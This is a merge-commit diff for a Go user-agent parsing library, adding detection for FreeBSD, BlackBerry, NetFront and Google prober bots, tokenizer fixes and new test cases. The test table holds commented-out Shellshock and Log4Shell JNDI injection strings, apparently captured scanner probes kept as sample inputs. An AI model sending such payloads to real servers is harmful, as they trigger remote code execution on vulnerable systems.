Merge remote-tracking branch 'upstream/master'
This commit is contained in:
@@ -2,3 +2,6 @@ old.go
|
||||
old_test.go
|
||||
file.txt
|
||||
user_agents.txt
|
||||
ua2.go
|
||||
settings.json
|
||||
benchmarks.txt
|
||||
|
||||
@@ -79,3 +79,9 @@ func (ua UserAgent) IsTwitterbot() bool {
|
||||
func (ua UserAgent) IsFacebookbot() bool {
|
||||
return ua.Name == FacebookExternalHit
|
||||
}
|
||||
|
||||
// IsUnknown returns true if the package can't determine the user agent reliably.
|
||||
// Fields like Name, OS, etc. might still have values.
|
||||
func (ua UserAgent) IsUnknown() bool {
|
||||
return !ua.Mobile && !ua.Tablet && !ua.Desktop && !ua.Bot
|
||||
}
|
||||
|
||||
@@ -31,7 +31,9 @@ const (
|
||||
MacOS = "macOS"
|
||||
IOS = "iOS"
|
||||
Linux = "Linux"
|
||||
FreeBSD = "FreeBSD"
|
||||
ChromeOS = "ChromeOS"
|
||||
BlackBerry = "BlackBerry"
|
||||
|
||||
Opera = "Opera"
|
||||
OperaMini = "Opera Mini"
|
||||
@@ -73,6 +75,8 @@ func Parse(userAgent string) UserAgent {
|
||||
}
|
||||
}
|
||||
|
||||
//fmt.Printf("%+v\n", tokens)
|
||||
|
||||
// OS lookup
|
||||
switch {
|
||||
case tokens.exists("Android"):
|
||||
@@ -114,10 +118,20 @@ func Parse(userAgent string) UserAgent {
|
||||
ua.OSVersion = tokens.get(Linux)
|
||||
ua.Desktop = true
|
||||
|
||||
case tokens.exists("FreeBSD"):
|
||||
ua.OS = FreeBSD
|
||||
ua.OSVersion = tokens.get(FreeBSD)
|
||||
ua.Desktop = true
|
||||
|
||||
case tokens.exists("CrOS"):
|
||||
ua.OS = ChromeOS
|
||||
ua.OSVersion = tokens.get("CrOS")
|
||||
ua.Desktop = true
|
||||
|
||||
case tokens.exists("BlackBerry"):
|
||||
ua.OS = BlackBerry
|
||||
ua.OSVersion = tokens.get("BlackBerry")
|
||||
ua.Mobile = true
|
||||
}
|
||||
|
||||
switch {
|
||||
@@ -127,6 +141,12 @@ func Parse(userAgent string) UserAgent {
|
||||
ua.Bot = true
|
||||
ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari")
|
||||
|
||||
case tokens.existsAny("GoogleProber", "GoogleProducer"):
|
||||
if name := tokens.findBestMatch(false); name != "" {
|
||||
ua.Name = name
|
||||
}
|
||||
ua.Bot = true
|
||||
|
||||
case tokens.exists("Applebot"):
|
||||
ua.Name = Applebot
|
||||
ua.Version = tokens.get(Applebot)
|
||||
@@ -243,6 +263,7 @@ func Parse(userAgent string) UserAgent {
|
||||
case tokens.exists("FBAN"):
|
||||
ua.Name = FacebookApp
|
||||
ua.Version = tokens.get("FBAN")
|
||||
|
||||
case tokens.exists("FB_IAB"):
|
||||
ua.Name = FacebookApp
|
||||
ua.Version = tokens.get("FBAV")
|
||||
@@ -260,6 +281,15 @@ func Parse(userAgent string) UserAgent {
|
||||
ua.Version = tokens.get("HuaweiBrowser")
|
||||
ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari")
|
||||
|
||||
case tokens.exists("BlackBerry"):
|
||||
ua.Name = "BlackBerry"
|
||||
ua.Version = tokens.get("Version")
|
||||
|
||||
case tokens.exists("NetFront"):
|
||||
ua.Name = "NetFront"
|
||||
ua.Version = tokens.get("NetFront")
|
||||
ua.Mobile = true
|
||||
|
||||
// if chrome and Safari defined, find any other token sent descr
|
||||
case tokens.exists(Chrome) && tokens.exists(Safari):
|
||||
name := tokens.findBestMatch(true)
|
||||
@@ -303,7 +333,10 @@ func Parse(userAgent string) UserAgent {
|
||||
ua.Name = ua.String
|
||||
}
|
||||
ua.Bot = strings.Contains(strings.ToLower(ua.Name), "bot")
|
||||
ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari")
|
||||
// If mobile flag has already been set, don't override it.
|
||||
if !ua.Mobile {
|
||||
ua.Mobile = tokens.existsAny("Mobile", "Mobile Safari")
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -379,6 +412,9 @@ func parse(userAgent string) properties {
|
||||
case (parOpen || braOpen) && c == 59: // ;
|
||||
addToken()
|
||||
|
||||
case c == 59: // ;
|
||||
addToken()
|
||||
|
||||
case c == 40: // (
|
||||
addToken()
|
||||
parOpen = true
|
||||
@@ -390,6 +426,16 @@ func parse(userAgent string) properties {
|
||||
addToken()
|
||||
braOpen = false
|
||||
|
||||
case c == 58: // :
|
||||
if bytes.HasSuffix(buff.Bytes(), []byte("http")) || bytes.HasSuffix(buff.Bytes(), []byte("https")) {
|
||||
// If we are part of a URL just write the character.
|
||||
buff.WriteByte(c)
|
||||
} else if i != len(bua)-1 && bua[i+1] != ' ' {
|
||||
// If the following character is not a space, change to a space.
|
||||
buff.WriteByte(' ')
|
||||
}
|
||||
// Otherwise don't write as its probably a badly formatted key value separator.
|
||||
|
||||
case slash && c == 32:
|
||||
addToken()
|
||||
|
||||
@@ -401,7 +447,11 @@ func parse(userAgent string) properties {
|
||||
buff.WriteByte(c)
|
||||
isURL = true
|
||||
} else {
|
||||
slash = true
|
||||
if ignore(buff.String()) {
|
||||
buff.Reset()
|
||||
} else {
|
||||
slash = true
|
||||
}
|
||||
}
|
||||
|
||||
default:
|
||||
@@ -424,7 +474,7 @@ func checkVer(s string) (name, v string) {
|
||||
switch s[:i] {
|
||||
case "Linux", "Windows NT", "Windows Phone OS", "MSIE", "Android":
|
||||
return s[:i], s[i+1:]
|
||||
case "CrOS x86_64", "CrOS aarch64":
|
||||
case "CrOS x86_64", "CrOS aarch64", "CrOS armv7l":
|
||||
j := strings.LastIndex(s[:i], " ")
|
||||
return s[:j], s[j+1 : i]
|
||||
default:
|
||||
@@ -443,7 +493,7 @@ func checkVer(s string) (name, v string) {
|
||||
// ignore retursn true if token should be ignored
|
||||
func ignore(s string) bool {
|
||||
switch s {
|
||||
case "KHTML, like Gecko", "U", "compatible", "Mozilla", "WOW64", "en", "en-us", "en-gb", "ru-ru":
|
||||
case "KHTML, like Gecko", "U", "compatible", "Mozilla", "WOW64", "en", "en-us", "en-gb", "ru-ru", "Browser":
|
||||
return true
|
||||
default:
|
||||
return false
|
||||
|
||||
+25
-1
@@ -70,12 +70,16 @@ var testTable = [][]string{
|
||||
// Windows phone
|
||||
{"Mozilla/4.0 (compatible; MSIE 7.0; Windows Phone OS 7.0; Trident/3.1; IEMobile/7.0; NOKIA; Lumia 630)", ua.InternetExplorer, "7.0", "mobile", ua.WindowsPhone},
|
||||
|
||||
// FreeBSD
|
||||
{"Mozilla/5.0 (compatible; Konqueror/4.5; FreeBSD) KHTML/4.5.4 (like Gecko)", "Konqueror", "4.5", "desktop", "FreeBSD"},
|
||||
|
||||
// Bots
|
||||
{"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2272.96 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", ua.Googlebot, "2.1", "mobile", "Android", "Nexus 5X"},
|
||||
{"Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)", ua.Googlebot, "2.1", "bot", ""},
|
||||
{"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_5) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.1.1 Safari/605.1.15 (Applebot/0.1; +http://www.apple.com/go/applebot)", "Applebot", "0.1", "bot", ""},
|
||||
{"Twitterbot/1.0", ua.Twitterbot, "1.0", ua.Applebot, ""},
|
||||
{"facebookexternalhit/1.1", ua.FacebookExternalHit, "1.1", "bot", ""},
|
||||
{"facebookcatalog/1.0", "facebookcatalog", "1.0", "bot", ""},
|
||||
{"Mozilla/5.0 (compatible; SemrushBot/7~bl; +http://www.semrush.com/bot.html", "SemrushBot", "7~bl", "bot", ""},
|
||||
{"Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.268", "YandexBot", "3.0", "bot", ""},
|
||||
{"Mozilla/5.0 (compatible; Discordbot/2.0; +https://discordapp.com)", "Discordbot", "2.0", "bot", ""},
|
||||
@@ -84,6 +88,8 @@ var testTable = [][]string{
|
||||
{"Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.1.0.0 Mobile Safari/537.36 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)", "Bingbot", "2.0", "bot", ua.Android}, // new bingbot mobile
|
||||
{"Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) tands-prod-eng.hlfs-prod---sieve.hlfs-desktop/1681336006-0", "Yahoo Ad monitoring", "", "bot", ""},
|
||||
{"Mozilla/5.0 (compatible; Yahoo Ad monitoring; https://help.yahoo.com/kb/yahoo-ad-monitoring-SLN24857.html) cnv.aws-prod---sieve.hlfs-rest_client/1681346790-0", "Yahoo Ad monitoring", "", "bot", ""},
|
||||
{"GoogleProber", "GoogleProber", "", "bot", ""},
|
||||
{"GoogleProducer; (+http://goo.gl/7y4SX)", "GoogleProducer", "", "bot", ""},
|
||||
|
||||
// Google ads bots
|
||||
{"Mozilla/5.0 (Linux; Android 4.0.0; Galaxy Nexus Build/IMM76B) AppleWebKit/537.36 (KHTML, like Gecko; Mediapartners-Google) Chrome/104.0.0.0 Mobile Safari/537.36", ua.GoogleAdsBot, "", "bot", ua.Android},
|
||||
@@ -117,10 +123,18 @@ var testTable = [][]string{
|
||||
{"Go-http-client/1.1", "Go-http-client", "1.1", "", ""},
|
||||
{"Wget/1.12 (linux-gnu)", "Wget", "1.12", "", ""},
|
||||
{"Wget/1.17.1 (darwin15.2.0)", "Wget", "1.17.1", "", ""},
|
||||
{"Seafile/9.0.2 (Linux)", "Seafile", "9.0.2", "", "Linux"},
|
||||
|
||||
// unstandard stuff
|
||||
{"BUbiNG (+http://law.di.unimi.it/BUbiNG.html)", "BUbiNG", "", "", ""},
|
||||
//{"Aweme 8.2.0 rv:82017 (iPhone6,2; iOS 12.4; zh_CN) Cronet", "Aweme", "", "", ""},
|
||||
{"surveyon/3.1.0 Mobile (Android: 6.0.1; MODEL:SM-G532G; PRODUCT:grandppltedx; MANUFACTURER:samsung;)", "surveyon", "3.1.0", "mobile", ua.Android},
|
||||
{"surveyon/3.1.0 Mobile (Android: 9; MODEL:CPH1923; PRODUCT:CPH1923; MANUFACTURER:OPPO;)", "surveyon", "3.1.0", "mobile", ua.Android},
|
||||
{"surveyon/3.1.0 Mobile (Android: 13; MODEL:SM-M127F; PRODUCT:m12nnxx; MANUFACTURER:samsung;)", "surveyon", "3.1.0", "mobile", ua.Android},
|
||||
{"surveyon/2.9.5 (iPhone; CPU iPhone OS 12_5_7 like Mac OS X)", "surveyon", "2.9.5", "mobile", ua.IOS},
|
||||
{"Mozilla/5.0 (BlackBerry; U; BlackBerry 9900; en-US) AppleWebKit/534.11+ (KHTML, like Gecko) Version/7.0.0.187 Mobile Safari/534.11+", "BlackBerry", "7.0.0.187", "mobile", "BlackBerry"},
|
||||
{"Mozilla/5.0 (X11; CrOS armv7l 13099.110.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.136 Safari/537.36", ua.Chrome, "84.0.4147.136", "desktop", ua.ChromeOS},
|
||||
{"SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0", "NetFront", "3.3", "mobile", ""},
|
||||
|
||||
// Device names
|
||||
{"Mozilla/5.0 (Linux; Android 10; 8092) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36", "Chrome", "112.0.0.0", "mobile", ua.Android, "8092"},
|
||||
@@ -135,6 +149,12 @@ var testTable = [][]string{
|
||||
{"Mozilla/5.0 (Linux; Android 9; m5621 Build/PPR2.180905.006.A1; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/66.0.3359.158 Safari/537.36", ua.Chrome, "66.0.3359.158", "mobile", ua.Android, "m5621"},
|
||||
{"Mozilla/5.0 (Linux; Android 10; meanIT_X20 Build/QP1A.190711.020) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.153 Safari/537.36", ua.Chrome, "110.0.5481.153", "mobile", ua.Android, "meanIT_X20"},
|
||||
{"Mozilla/5.0 (Linux; Android 10;)", "Mozilla/5.0 (Linux; Android 10;)", "", "mobile", ua.Android},
|
||||
// {`() { ignored; }; echo Content-Type: text/plain ; echo ; echo "bash_cve_2014_6271_rce Output : $((70+91))"`, "", "mobile", ua.Android},
|
||||
//{`${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}`, "", "mobile", ua.Android},
|
||||
//
|
||||
|
||||
//
|
||||
// ${jndi:ldap://log4shell-generic-8ZnJfq2XFL3GWyaLyOpT${lower:ten}.w.nessus.org/nessus}
|
||||
|
||||
// TODO:
|
||||
// Mozilla/5.0 (Linux; U; Android 13; sr-rs; V2206 Build/TP1A.220624.014) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/61.0.3163.128 Mobile Safari/537.36 XiaoMi/Mint Browser/3.9.3
|
||||
@@ -190,6 +210,11 @@ func TestParse(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
func TestSingle(t *testing.T) {
|
||||
agent := ua.Parse("SonyEricssonK310iv/R4DA Browser/NetFront/3.3 Profile/MIDP-2.0 Configuration/CLDC-1.1 UP.Link/6.3.1.13.0")
|
||||
fmt.Printf("\n%+v\n", agent)
|
||||
}
|
||||
|
||||
var testUA ua.UserAgent
|
||||
|
||||
func BenchmarkUserAgent(b *testing.B) {
|
||||
@@ -258,7 +283,6 @@ func ExampleParse() {
|
||||
if ua.URL != "" {
|
||||
fmt.Println(ua.URL)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user